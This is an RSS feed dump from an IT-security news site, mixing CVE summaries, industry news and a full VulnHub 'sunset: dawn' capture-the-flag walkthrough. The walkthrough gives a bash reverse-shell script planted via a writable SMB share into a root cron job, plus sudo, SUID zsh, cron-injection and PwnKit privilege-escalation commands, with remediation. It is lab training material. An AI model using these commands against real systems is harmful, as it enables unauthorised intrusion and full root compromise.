]]> <![CDATA[This 2-Minute Microwave Cleaning Trick Will Make Your Appliance Look Brand New]]> https://tsecurity.de/de/3616978/it-nachrichten/this-2-minute-microwave-cleaning-trick-will-make-your-appliance-look-brand-new/ https://tsecurity.de/de/3616978/it-nachrichten/this-2-minute-microwave-cleaning-trick-will-make-your-appliance-look-brand-new/ Tue, 23 Jun 2026 02:47:38 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[CVE-2022-20922 | Cisco Cyber Vision Snort SMB2 Detection Engine Policy heap inspection (cisco-sa-snort-smb-3nfhJtr)]]> https://tsecurity.de/de/3616243/sicherheitsluecken/cve-2022-20922-cisco-cyber-vision-snort-smb2-detection-engine-policy-heap-inspection-cisco-sa-snort-smb-3nfhjtr/ https://tsecurity.de/de/3616243/sicherheitsluecken/cve-2022-20922-cisco-cyber-vision-snort-smb2-detection-engine-policy-heap-inspection-cisco-sa-snort-smb-3nfhjtr/ Mon, 22 Jun 2026 19:24:16 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Cisco Cyber Vision, FirePOWER Services, Firepower Threat Defense, Meraki MX Security Appliance and Umbrella Secure Internet Gateway and classified as problematic. This vulnerability affects unknown code of the component Snort SMB2 Detection Engine Policy. The manipulation leads to improper clearing of heap memory before release. This vulnerability is listed as CVE-2022-20922. The attack may be initiated remotely. There is no available exploit. The affected component should be upgraded.]]> <![CDATA[CVE-2017-12350 | Cisco Umbrella Insights Virtual Appliance up to 2.1.0 Hypervisor hard-coded credentials (cisco-sa-20171115-uva / BID-101879)]]> https://tsecurity.de/de/3616241/sicherheitsluecken/cve-2017-12350-cisco-umbrella-insights-virtual-appliance-up-to-210-hypervisor-hard-coded-credentials-cisco-sa-20171115-uva-bid-101879/ https://tsecurity.de/de/3616241/sicherheitsluecken/cve-2017-12350-cisco-umbrella-insights-virtual-appliance-up-to-210-hypervisor-hard-coded-credentials-cisco-sa-20171115-uva-bid-101879/ Mon, 22 Jun 2026 19:24:14 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Cisco Umbrella Insights Virtual Appliance up to 2.1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the component Hypervisor. Performing a manipulation results in hard-coded credentials. This vulnerability was named CVE-2017-12350. The attack needs to be approached locally. There is no available exploit.]]> <![CDATA[AI hit the memory wall — now it needs a new context tier]]> https://tsecurity.de/de/3616015/it-nachrichten/ai-hit-the-memory-wall-now-it-needs-a-new-context-tier/ https://tsecurity.de/de/3616015/it-nachrichten/ai-hit-the-memory-wall-now-it-needs-a-new-context-tier/ Mon, 22 Jun 2026 17:48:05 +0200 📰 IT Nachrichten tsecurity.de Presented by Solidigm

As inference workloads evolve from discrete question-and-answer exchanges into persistent, multi-step agentic systems, GPU availability is no longer the most critical AI bottleneck. Instead, the bottleneck has migrated from compute to context, says Jeff Harthorn, AI applied research lead at Solidigm.

"Why context management has become a primary bottleneck, more than GPU availability or compute efficiency, is the question of 2026," says Harthorn. "GPUs have gotten dramatically cheaper per FLOP. Model architectures and inference serving engines have all gotten much more efficient. But the thing that's grown faster than both of those is context. The persistent state that has to live between sessions has grown even faster than context itself."

It's happening as context windows grow dramatically, making individual inputs far larger than before. Agentic AI systems chain dozens or hundreds of model calls together, each generating state that must be tracked, and enterprises are requiring that inference state persist across sessions for audit, governance, and reuse. These trends compound each other, pushing context volumes beyond what any existing memory tier was designed to handle.

"Those three things are all happening at the same time, all of which are pushing context data and context memory into the stratosphere much more quickly than we're used to seeing," adds Ace Stryker, director of AI and ecosystem marketing at Solidigm.

The solution is a dedicated context tier emerging between GPU memory and bulk network storage: a layer of high-performance, high-density flash designed specifically to hold and serve Key-value (KV) cache, the inference data that allows models to retain and reuse context, and retrieval data at inference speed. Nvidia has formalized this architecture under the term CMX. Storage companies including Solidigm are building SSD products optimized for this workload.

"Storage has not been the first thing folks have thought about when they've been planning their enterprise infrastructure buildout," Stryker says. "In a lot of ways, it was a relatively small cost compared to compute, and it was a commodity. You just shopped around for the lowest dollar per gigabyte and called it good. But now, if your storage is not up to snuff, your ROI suffers, and it directly impacts your bottom line.”

Why AI inference requires a different storage architecture than training

The storage architecture that AI systems rely on today was largely inherited from training workflows. Training is sequential and write-dominated, with data moving in large blocks to and from bulk object storage. The tier structure, with high-bandwidth memory on the GPU, fast NVMe in the server, and bulk storage over the network, serves that use case reasonably well.

However, inference is a different animal. Its I/O signature is fine-grained, latency-sensitive, and increasingly stateful. KV cache data and retrieval data each have distinct access patterns, but both need to be served quickly and reused across interactions. Neither fits cleanly within GPU high-bandwidth memory, which is expensive and physically constrained, nor within traditional bulk storage, which was never designed for active inference workloads.

"The architectural gap that's interesting to me right now isn't at the top of the stack or the bottom, it's right in the middle," Harthon says. "A lot of what sits below the GPU HBM is being asked to do things it wasn't really designed for, which is where the most interesting systems work today is happening."

One of the most visible symptoms of this gap is recomputation. In inference, the pre-fill stage processes all of the context relevant to a given session before token generation can begin. When KV cache state isn't available in a fast, accessible tier, the system recomputes it — burning GPU cycles that produce no new value.

"A meaningful share of GPU cycles end up going to re-pre-filling," Harthon explains. "During all of that calculated context, that's potentially compute that's being spent reproducing state, rather than doing new work. When you start looking at the problem that way, GPU utilization starts looking like it's partly a storage problem."

This reframing is driving renewed interest in a metric borrowed from networking: goodput, or useful tokens per dollar, rather than raw tokens per dollar.

The AI context memory tier and how it works

The industry's response is taking structural form. A new tier is emerging between GPU memory and traditional network storage, designed specifically to hold and serve inference context, a layer distinct from drives inside GPU servers (G3) and storage servers over the network (G4), engineered to serve context data back to accelerators as rapidly as possible.

"If you're building a data center starting in the second half of this year, or the beginning of next year, you can't think about storage only living in two places," Stryker says. "Storage has to live in at least three places to handle the context memory tier, and that's likely to be a permanent fixture in how the infrastructure gets built going forward."

It's analogous to the emergence of object storage as a category, which didn't exist until enough workloads needed it. And once it did, it developed its own primitives, SLAs, cost models, and an ecosystem of vendors.

"The context tier looks like it might be on a similar arc," Harthorn says. "That volumetric pressure is causing the category to form, rather than any one vendor's road map."

For infrastructure leaders, this means actively planning for the new tier rather than treating it as optional. Deploying additional NAND at this layer reduces dependency on DRAM, which is orders of magnitude more expensive per gigabyte and constrained in both availability and thermal headroom.

"In terms of your investment effectiveness, you're laying out less cash to do it if you rely on the SSD layer in the way that Nvidia is now recommending and prescribing for a lot of use cases," Stryker adds.

What flash needs to deliver to support AI inference

Participating meaningfully in the inference stack places new demands on SSD technology. Tail latency, the worst-case performance of a drive, must be predictable, not just fast on average. An orchestration system that allocates GPU resources based on expected storage response times cannot tolerate unexpected multi-second delays. Consistent, observable performance matters more here than peak throughput.

Beyond latency, density becomes a critical concern, especially at hyperscale. In data centers where power, not cost, is the binding constraint, watts per petabyte becomes the operative metric. Floating gate NAND, the manufacturing approach at the core of Solidigm's products, is suited to that calculation. Network integration via NVMe over Fabrics, RDMA, and eventual CXL support is also essential, given the tight latency budgets of active inference pipelines.

"The drives have to have reliable performance characteristics, beyond the throughput side and being able to transfer as much data as possible as fast as possible, the way that training needed," Harthon says. "Now it's about being able to do it very consistently, in a way that's very observable to the people operating and orchestrating these systems."

How enterprise AI leaders should plan for the context tier

The standards, software primitives, and best practices being established now will define how AI inference infrastructure operates for years to come. Solidigm is engaged in that process through standards bodies, partner lab collaborations, and published research, which is critical precisely because the category is still forming.

"The interesting question for the next couple of years isn't whether AI infrastructure needs more compute," Harthorn says. "It's whether it can use what it has more efficiently. A lot of that answer runs through this tier that is being built today."

Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact sales@venturebeat.com.

]]> <![CDATA[CVE-2022-20773 | Cisco Umbrella Virtual Appliance Key-based SSH Authentication hard-coded key (cisco-sa-uva-static-key-6RQTRs4c)]]> https://tsecurity.de/de/3615867/sicherheitsluecken/cve-2022-20773-cisco-umbrella-virtual-appliance-key-based-ssh-authentication-hard-coded-key-cisco-sa-uva-static-key-6rqtrs4c/ https://tsecurity.de/de/3615867/sicherheitsluecken/cve-2022-20773-cisco-umbrella-virtual-appliance-key-based-ssh-authentication-hard-coded-key-cisco-sa-uva-static-key-6rqtrs4c/ Mon, 22 Jun 2026 16:56:55 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de critical was found in Cisco Umbrella Virtual Appliance. This affects an unknown part of the component Key-based SSH Authentication Handler. Executing a manipulation can lead to use of hard-coded cryptographic key . This vulnerability is registered as CVE-2022-20773. It is possible to launch the attack remotely. No exploit is available. Upgrading the affected component is advised.]]> <![CDATA[CVE-2017-6679 | Cisco Umbrella Virtual Appliance up to 2.0.3 SSH 7pk security (BID-101567)]]> https://tsecurity.de/de/3615865/sicherheitsluecken/cve-2017-6679-cisco-umbrella-virtual-appliance-up-to-203-ssh-7pk-security-bid-101567/ https://tsecurity.de/de/3615865/sicherheitsluecken/cve-2017-6679-cisco-umbrella-virtual-appliance-up-to-203-ssh-7pk-security-bid-101567/ Mon, 22 Jun 2026 16:56:52 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de critical, was found in Cisco Umbrella Virtual Appliance up to 2.0.3. Affected by this vulnerability is an unknown functionality of the component SSH. The manipulation results in 7pk security features. This vulnerability is cataloged as CVE-2017-6679. The attack must be initiated from a local position. There is no exploit available. You should upgrade the affected component.]]> <![CDATA[CVE-2026-6645 | PaperCut Print Deploy up to 1.10.4177 on Windows pc-printer-updater.exe uncontrolled search path (EUVD-2026-38209)]]> https://tsecurity.de/de/3614761/sicherheitsluecken/cve-2026-6645-papercut-print-deploy-up-to-1104177-on-windows-pc-printer-updaterexe-uncontrolled-search-path-euvd-2026-38209/ https://tsecurity.de/de/3614761/sicherheitsluecken/cve-2026-6645-papercut-print-deploy-up-to-1104177-on-windows-pc-printer-updaterexe-uncontrolled-search-path-euvd-2026-38209/ Mon, 22 Jun 2026 09:23:39 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de PaperCut Print Deploy up to 1.10.4177 on Windows. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file pc-printer-updater.exe. Executing a manipulation can lead to uncontrolled search path. This vulnerability appears as CVE-2026-6645. The attack requires local access. There is no available exploit. It is recommended to upgrade the affected component.]]> <![CDATA[Vorschau Juli 2026: Edge Computing]]> https://tsecurity.de/de/3614653/server/vorschau-juli-2026-edge-computing/ https://tsecurity.de/de/3614653/server/vorschau-juli-2026-edge-computing/ Mon, 22 Jun 2026 08:30:42 +0200 🐧 Server tsecurity.de Vorschau Juli 2026: Edge Computing
Titelseite der Zeitschrift IT-Administrator, Ausgabe 07/26, mit dem Schwerpunktthema "Edge Computing: Rechenleistung am Netzwerkrand". Eine Illustration zeigt ein zentrales Server-Rack, das ĂŒber leuchtende Datenleitungen mit mehreren kleinen Edge-GerĂ€ten und einem Laptop vernetzt ist, vor dunklem TĂŒrkis-Hintergrund.
Daniel Richey
Hart an der Grenze: Im Juli beleuchtet IT-Administrator das "Edge Computing". Darin werfen wir einen detaillierten Blick auf die Herausforderungen und Chancen, die das Verlegen von Rechenleistung an die Netzwerkgrenze mit sich bringt. Außerdem schauen wir uns an, wie Echtzeit-Linux im OT-Umfeld an Bedeutung gewinnt und wie der Spagat zwischen Windows-Ökosystem und dezentraler Industrie-Appliance gelingt.
]]> <![CDATA[CVE-2022-38220 | Quest KACE Systems Management Appliance up to 12.1 cross site scripting (EUVD-2022-40812)]]> https://tsecurity.de/de/3614331/sicherheitsluecken/cve-2022-38220-quest-kace-systems-management-appliance-up-to-121-cross-site-scripting-euvd-2022-40812/ https://tsecurity.de/de/3614331/sicherheitsluecken/cve-2022-38220-quest-kace-systems-management-appliance-up-to-121-cross-site-scripting-euvd-2022-40812/ Mon, 22 Jun 2026 03:21:11 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de problematic has been identified in Quest KACE Systems Management Appliance up to 12.1. Affected by this vulnerability is an unknown functionality. The manipulation results in cross site scripting. This vulnerability is cataloged as CVE-2022-38220. The attack may be launched remotely. There is no exploit available.]]> <![CDATA[Is Tesla Planning To Sell Modular AI Data Center Hardware?]]> https://tsecurity.de/de/3614183/it-security-nachrichten/is-tesla-planning-to-sell-modular-ai-data-center-hardware/ https://tsecurity.de/de/3614183/it-security-nachrichten/is-tesla-planning-to-sell-modular-ai-data-center-hardware/ Mon, 22 Jun 2026 00:07:03 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[Enable Keep printed documents in Print queue on Windows 11]]> https://tsecurity.de/de/3612842/windows-tipps/enable-keep-printed-documents-in-print-queue-on-windows-11/ https://tsecurity.de/de/3612842/windows-tipps/enable-keep-printed-documents-in-print-queue-on-windows-11/ Sun, 21 Jun 2026 00:38:59 +0200 đŸȘŸ Windows Tipps tsecurity.de Print Queue Finished Job ReprintWhen you print a document in Windows, it is removed from the print queue once the printing is complete. If you need to reprint the same document, you will have to follow the print document method again. To save time, you can enable the Keep printed documents option for the printer, and keep reprinting the [
]

This article Enable Keep printed documents in Print queue on Windows 11 first appeared on TheWindowsClub.com.

]]> <![CDATA[Oukitel WP500 Ultra review: A flagship rugged phone with a unique thermal camera — but also an inflated price]]> https://tsecurity.de/de/3610532/it-nachrichten/oukitel-wp500-ultra-review-a-flagship-rugged-phone-with-a-unique-thermal-camera-but-also-an-inflated-price/ https://tsecurity.de/de/3610532/it-nachrichten/oukitel-wp500-ultra-review-a-flagship-rugged-phone-with-a-unique-thermal-camera-but-also-an-inflated-price/ Fri, 19 Jun 2026 15:32:35 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[CMA fines Marks Electrical £720k for unauthorized opt-ins]]> https://tsecurity.de/de/3610507/it-security-nachrichten/cma-fines-marks-electrical-720k-for-unauthorized-opt-ins/ https://tsecurity.de/de/3610507/it-security-nachrichten/cma-fines-marks-electrical-720k-for-unauthorized-opt-ins/ Fri, 19 Jun 2026 15:24:18 +0200 📰 IT Security Nachrichten tsecurity.de UK appliance retailer Marks Electrical will pay a £720,000 fine and refund nearly 40,000 customers after the Competition and Markets Authority found the company automatically enrolled buyers in paid services without their consent. This article has been indexed from CyberMaterial


Read more →

The post CMA fines Marks Electrical ÂŁ720k for unauthorized opt-ins appeared first on IT Security News.

]]> <![CDATA[VulnHub — sunset: dawn | Full Walkthrough]]> https://tsecurity.de/de/3610158/hacking/vulnhub-sunset-dawn-full-walkthrough/ https://tsecurity.de/de/3610158/hacking/vulnhub-sunset-dawn-full-walkthrough/ Fri, 19 Jun 2026 13:09:29 +0200 đŸ•”ïž Hacking tsecurity.de

Author: Shikhali Jamalzade
GitHub: github.com/alisalive
LinkedIn: linkedin.com/in/camalzads
Platform: VulnHub
Machine: sunset: dawn by @whitecr0wz
Difficulty: Beginner–Intermediate | OS: Debian GNU/Linux 10 (Buster)

Overview

sunset: dawn is a beginner-to-intermediate VulnHub machine and the second entry in the sunset series by @whitecr0wz. The attack path begins with SMB enumeration that reveals a writable share mapped directly to a directory executed by a root-owned cron job — uploading a reverse shell script there is enough to land a www-data shell. Post-exploitation enumeration with LinPEAS then uncovers four independent privilege escalation paths, each sufficient on its own to reach root. This machine is an excellent exercise in SMB misconfigurations, cron-based exploitation, and Linux post-exploitation methodology.

Flag captured:

  • flag.txt → /root/flag.txt

Environment

Parameter Value Target IP 192.168.100.198 Attacker IP 192.168.100.199 (Kali Linux) Test Type Black Box Hostname dawn

Reconnaissance

Network Scan — Nmap

Full-port aggressive scan to enumerate all open services:

nmap -p- -sV -sC 192.168.100.198

Results:

PORT     STATE SERVICE     VERSION
80/tcp   open  http        Apache httpd 2.4.38 ((Debian))
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  microsoft-ds Samba smbd 4.9.5-Debian
3306/tcp open  mysql       MySQL 5.5.5-10.3.18-MariaDB-0+deb10u1
Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: dawn
|   NetBIOS computer name: DAWN
|_  Domain name: dawn

Key observations:

  • Port 80 — Apache 2.4.38: web server present, but browsing to it yields no useful content
  • Port 139/445 — Samba SMB: the most interesting attack surface given no web application
  • Port 3306 — MariaDB: MySQL listening, but almost certainly bound to localhost only

With the web server returning nothing useful, SMB becomes the primary focus.

Web Enumeration — Gobuster

Even though the web server returned no meaningful content at the root, I ran a directory scan in parallel:

gobuster dir -u http://192.168.100.198 \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,txt,html

Results:

/logs   (Status: 301)

Browsing to /logs/ revealed a file: management.log. This log turned out to be critical — it recorded cron job activity on the system, showing automated execution of scripts inside a directory called ITDEPT:

Executing /home/dawn/ITDEPT/product-control
Executing /home/dawn/ITDEPT/web-control
chmod +x /home/dawn/ITDEPT/product-control
chmod +x /home/dawn/ITDEPT/web-control
sh /home/dawn/ITDEPT/product-control
sh /home/dawn/ITDEPT/web-control

The system was automatically making files executable and running them every minute. The name ITDEPT matched exactly what I was about to find in the SMB shares.

SMB Enumeration — enum4linux

enum4linux -a 192.168.100.198

Results:

Sharename    Type    Comment
---------    ----    -------
print$       Disk    Printer Drivers
ITDEPT       Disk    PLEASE DO NOT REMOVE THIS SHARE.
                     IN CASE YOU ARE NOT AUTHORIZED TO USE
                     THIS SYSTEM LEAVE IMMEDIATELY.
IPC$         IPC     IPC Service (Samba 4.9.5-Debian)
[+] Users found via RID cycling:
    dawn
    ganimedes

Two findings that matter:

  • The ITDEPT share exists and carries a warning message — a clear sign it is actively monitored or executed
  • Two system users identified: dawn and ganimedes

I verified access permissions with smbmap:

smbmap -H 192.168.100.198
ITDEPT    READ, WRITE    PLEASE DO NOT REMOVE THIS SHARE...

READ and WRITE access — no authentication required. Combined with what management.log already told me — that the system executes scripts from this exact directory every minute — the attack path was clear.

Initial Access — SMB Write + Cron Execution → Reverse Shell

Detail Value Vector SMB writable share + root cron job Shell obtained www-data Severity Critical

The cron job runs sh /home/dawn/ITDEPT/web-control every minute. The ITDEPT SMB share maps directly to /home/dawn/ITDEPT/. Anyone who can write to the share can write to that path — and the cron will execute whatever they put there as the service account.

Step 1 — Create the reverse shell script locally:

cat > web-control << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/192.168.100.199/4444 0>&1
EOF

Step 2 — Start a listener on Kali:

nc -lvnp 4444

Step 3 — Upload the script to the ITDEPT share:

smbclient //192.168.100.198/ITDEPT -N
smb: \> put web-control
putting file web-control as \web-control (6.8 kb/s)
smb: \> exit

Step 4 — Wait for the cron to fire (up to 60 seconds):

Connection received on 192.168.100.198 54321
www-data@dawn:/home/dawn/ITDEPT$

Shell obtained as www-data. I stabilised it immediately:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Post-Exploitation Enumeration — LinPEAS

With a stable shell, I transferred LinPEAS to the target using a Python HTTP server:

On Kali:

cd /usr/share/peass/linpeas
python3 -m http.server 80

On the target:

cd /tmp
wget http://192.168.100.199/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

LinPEAS immediately flagged four high-severity findings — each one a standalone path to root.

Privilege Escalation

Vector 1 — Sudo Misconfiguration

Detail Value Finding www-data can run /usr/bin/sudo as root with no password Severity Critical

LinPEAS output:

User www-data may run the following commands on dawn:
    (root) NOPASSWD: /usr/bin/sudo

This configuration allows www-data to run the sudo binary itself as root — without any password. Invoking sudo from inside sudo spawns a second privileged process that drops directly into a root shell.

Exploitation:

www-data@dawn:/tmp$ sudo sudo /bin/bash
root@dawn:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

One command. Full root.

Remediation:

Edit /etc/sudoers and remove the www-data entry entirely. If www-data genuinely needs elevated access for a specific task, scope it to the minimum required binary — never to sudo itself:

# Remove this line:
www-data ALL=(root) NOPASSWD: /usr/bin/sudo

Vector 2 — SUID Binary (zsh)

Detail Value Finding /usr/bin/zsh has the SUID bit set, owned by root Severity Critical

LinPEAS output:

-rwsr-xr-x 1 root root 842K Feb 4 2019 /usr/bin/zsh

When the SUID bit is set on a binary, the process runs with the file owner’s privileges regardless of who launches it. Since zsh is a fully functional interactive shell owned by root, executing it directly spawns a root shell.

Exploitation:

www-data@dawn:/tmp$ /usr/bin/zsh
dawn# whoami
root
dawn# id
uid=0(root) gid=0(root) groups=0(root)

Remediation:

Remove the SUID bit from zsh immediately:

chmod u-s /usr/bin/zsh
# Verify:
ls -la /usr/bin/zsh
-rwxr-xr-x 1 root root 842K /usr/bin/zsh

Interactive shells (bash, zsh, sh, dash) must never carry the SUID bit. Audit all SUID binaries regularly:

find / -perm -4000 -type f 2>/dev/null

Vector 3 — Writable Cron Script

Detail Value Finding Root cron executes a script world-writable by www-data Severity High

LinPEAS identified two things in combination:

Finding 1 — root crontab:

* * * * * /home/dawn/ITDEPT/web-control

Finding 2 — permissions on that script:

-rwxrwxrwx 1 dawn dawn /home/dawn/ITDEPT/web-control

The script is world-writable. Root executes it every minute. Any user who can write to this file can inject arbitrary commands that root will run.

Exploitation:

# Inject a SUID bash copy into the script
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> \
  /home/dawn/ITDEPT/web-control
# Wait up to 60 seconds for the cron to fire, then:
/tmp/rootbash -p
rootbash-5.0# whoami
root
rootbash-5.0# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root)

Remediation:

chmod 700 /home/dawn/ITDEPT/web-control
chown root:root /home/dawn/ITDEPT/web-control

Any script executed by a root cron job must be owned by root and writable only by root. Audit cron scripts regularly:

find /etc/cron* /var/spool/cron -type f | xargs ls -la

Vector 4 — PwnKit (CVE-2021–4034)

Detail Value CVE CVE-2021–4034 CVSS 7.8 (High) Component pkexec (Polkit) Vulnerable version pkexec 0.105 Exploit source github.com/ly4k/PwnKit Severity Critical

LinPEAS flagged this in its Exploit Suggester output:

[+] [CVE-2021-4034] PwnKit
    Tags: [ debian=7|8|9|10|11 ]
    Exposure: probable

PwnKit is a heap-based memory corruption vulnerability in pkexec — the PolicyKit binary present on virtually every Linux distribution. The flaw has existed since 2009 and was disclosed by Qualys Research Team in January 2022. It allows any unprivileged local user to escalate to root.

The pkexec binary on this system was confirmed vulnerable:

-rwsr-xr-x 1 root root 23288 Jan 15 2019 /usr/bin/pkexec

Exploitation:

On Kali, I downloaded the pre-compiled binary from ly4k/PwnKit and served it via HTTP:

wget https://github.com/ly4k/PwnKit/raw/main/PwnKit
python3 -m http.server 80
Note: The first attempt using berdav/CVE-2021–4034 failed with a GLIBC_2.34 version mismatch. The ly4k/PwnKit pre-compiled binary targets older GLIBC versions and is the correct choice for Debian 10.

On the target:

cd /tmp
wget http://192.168.100.199/PwnKit
chmod +x PwnKit
./PwnKit
root@dawn:/tmp# whoami
root
root@dawn:/tmp# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Remediation:

# Update polkit immediately:
sudo apt update && sudo apt upgrade policykit-1
# If updating is not immediately possible, remove the SUID bit as a temporary measure
# (note: this may break some GUI authentication prompts):
chmod 0755 /usr/bin/pkexec

The patched version for Debian 10 is policykit-1 0.105-26+deb10u1 or later.

Root Flag

root@dawn:~# cat /root/flag.txt
Hello! whitecr0wz here. I hope you enjoyed this box, if you
did please let me know at Twitter @whitecr0wz!
flag{3a3e52f0a6af0d6e36d7c5027c87f6e1}

Full Attack Chain

[Kali — 192.168.100.199]
         |
         | nmap -p- -sV -sC
         ↓
[dawn — 192.168.100.198]
  Port 80  → Apache 2.4.38 (no content)
  Port 445 → Samba (ITDEPT share)
         |
         | gobuster → /logs/management.log
         ↓
  Log reveals: cron executes ITDEPT/web-control every minute
         |
         | enum4linux → ITDEPT share: READ + WRITE (no auth)
         ↓
  Upload reverse shell as web-control → cron fires → www-data shell
         |
         | wget linpeas.sh → ./linpeas.sh
         ↓
  4 privesc vectors found:
    [1] sudo sudo /bin/bash           → root (1 command)
    [2] /usr/bin/zsh (SUID)           → root (1 command)
    [3] echo into web-control cron    → root (wait 60s)
    [4] ./PwnKit (CVE-2021-4034)      → root (1 command)
         |
         ↓
  ROOT — uid=0 — FULL COMPROMISE ✓

Key Takeaways

Reading logs before attacking: The /logs/management.log file told me exactly what the system was doing before I sent a single offensive request. Logs, readme files, and error messages often contain more actionable intelligence than any scanner output. Always enumerate web content thoroughly even when the homepage appears empty.

The SMB + cron combination: Neither the writable SMB share nor the cron job is catastrophic in isolation. Together they form a trivially exploitable initial access path — no credentials, no CVE, no brute force required. This is a textbook example of how misconfigured services compound each other.

Four paths, one machine: Finding four independent privilege escalation routes on a single system underscores an important principle: each vulnerability does not need to be critical on its own. Sudo misconfiguration, a SUID shell binary, a world-writable cron script, and an unpatched kernel component all coexisted here. Defence-in-depth means fixing all of them, not just the most obvious one.

GLIBC compatibility matters: The first PwnKit attempt failed due to a version mismatch between the compiled exploit binary and the target’s C library. When a kernel/userspace exploit fails silently, always check the GLIBC version (ldd --version) and match the pre-compiled exploit accordingly before assuming the system is not vulnerable.

Shikhali Jamalzade — alisalive.exe — instagram
 GitHub: github.com/alisalive · LinkedIn: linkedin.com/in/camalzads

VulnHub — sunset: dawn | Full Walkthrough was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

]]> <![CDATA[INC Ransomware Uses Double Extortion and Printer Ransom Notes to Pressure Victims]]> https://tsecurity.de/de/3609707/it-security-nachrichten/inc-ransomware-uses-double-extortion-and-printer-ransom-notes-to-pressure-victims/ https://tsecurity.de/de/3609707/it-security-nachrichten/inc-ransomware-uses-double-extortion-and-printer-ransom-notes-to-pressure-victims/ Fri, 19 Jun 2026 10:23:10 +0200 📰 IT Security Nachrichten tsecurity.de INC has matured from an emerging RaaS operation into one of 2026’s most active ransomware families, claiming more than 800 victims since 2023 and capitalizing on disruption among competitors to expand its affiliate base. The group’s recent campaigns demonstrate both


Read more →

The post INC Ransomware Uses Double Extortion and Printer Ransom Notes to Pressure Victims appeared first on IT Security News.

]]> <![CDATA[INC Ransomware Uses Double Extortion and Printer Ransom Notes to Pressure Victims]]> https://tsecurity.de/de/3609626/it-security-nachrichten/inc-ransomware-uses-double-extortion-and-printer-ransom-notes-to-pressure-victims/ https://tsecurity.de/de/3609626/it-security-nachrichten/inc-ransomware-uses-double-extortion-and-printer-ransom-notes-to-pressure-victims/ Fri, 19 Jun 2026 09:38:21 +0200 📰 IT Security Nachrichten tsecurity.de INC has matured from an emerging RaaS operation into one of 2026’s most active ransomware families, claiming more than 800 victims since 2023 and capitalizing on disruption among competitors to expand its affiliate base. The group’s recent campaigns demonstrate both incremental tooling refinement and novel pressure tactics: double extortion of stolen data combined with automated [
]

The post INC Ransomware Uses Double Extortion and Printer Ransom Notes to Pressure Victims appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

]]> <![CDATA[CVE-2022-37015 | Symantec Endpoint Detection and Response Appliance up to 4.6.x privilege escalation (EUVD-2022-39672)]]> https://tsecurity.de/de/3606614/sicherheitsluecken/cve-2022-37015-symantec-endpoint-detection-and-response-appliance-up-to-46x-privilege-escalation-euvd-2022-39672/ https://tsecurity.de/de/3606614/sicherheitsluecken/cve-2022-37015-symantec-endpoint-detection-and-response-appliance-up-to-46x-privilege-escalation-euvd-2022-39672/ Thu, 18 Jun 2026 06:23:13 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Symantec Endpoint Detection and Response Appliance up to 4.6.x and classified as problematic. This affects an unknown part. Such manipulation leads to privilege escalation. This vulnerability is uniquely identified as CVE-2022-37015. The attack can only be initiated within the local network. No exploit exists. It is suggested to upgrade the affected component.]]> <![CDATA[HPE CTO Russo drills into data, orchestration, and observability for the agentic enterprise]]> https://tsecurity.de/de/3606155/it-security-nachrichten/hpe-cto-russo-drills-into-data-orchestration-and-observability-for-the-agentic-enterprise/ https://tsecurity.de/de/3606155/it-security-nachrichten/hpe-cto-russo-drills-into-data-orchestration-and-observability-for-the-agentic-enterprise/ Wed, 17 Jun 2026 23:23:07 +0200 📰 IT Security Nachrichten tsecurity.de

HPE CTO Fidelma Russo took to the main stage at HPE Discover 2026 in Las Vegas to detail a set of product announcements focused on governing data, orchestrating infrastructure, and operating AI agents in production. Where CEO Antonio Neri’s day-one keynote covered the portfolio architecture across networking, compute, and storage, Russo’s session went deeper on the software and operations layer that sits on top of that infrastructure.

Russo framed all of it around a single operational shift: Enterprises have moved from static workflows and human decision-making to distributed intelligence operating across fragmented infrastructure. The products she announced address what it takes to govern and operate that intelligence once it is in production. Key announcements include:

  • HPE Data Fabric 8.2 with agent-aware capabilities
  • HPE Morpheus 9 with federated multi-site management and integrated software-defined networking
  • HPE OpsRamp Operations Copilot for AI factory observability
  • New partnership with ServiceNow connecting GreenLake Intelligence with autonomous service delivery 

“The question is no longer whether AI will transform the enterprise,” Russo said. “The question is, how do we make that transformation secure, governed, scalable, and operational?”

Data Fabric as the trusted layer for AI

Russo reiterated the now-familiar mantra that every AI strategy requires a data strategy, but argued that in an agentic world, data becomes part of the operational engine, not just an input. Agentic AI, she said, doesn’t simply retrieve information once, it continuously accesses data throughout the lifecycle of a task. That puts pressure on organizations to make data discoverable, governed, secured, and accessible wherever those agents operate. 

To help solve that challenge, Russo announced HPE Data Fabric 8.2, with agent-aware capabilities; an enhanced global data catalog; and an appliance option aimed at simplifying deployment and reducing time-to-value.

“Before AI can act on that data, data must be discoverable, it must be governed, it must be secured, and it must be accessible wherever those agents operate,” Russo said.

HPE Morpheus 9: Central control plane for hybrid and AI infrastructure

Russo also used her keynote to announce HPE Morpheus 9. Part of the new HPE CloudOps Software Suite, Morpheus handles runtime orchestration and automation for traditional virtualization, container platforms, and AI workloads. 

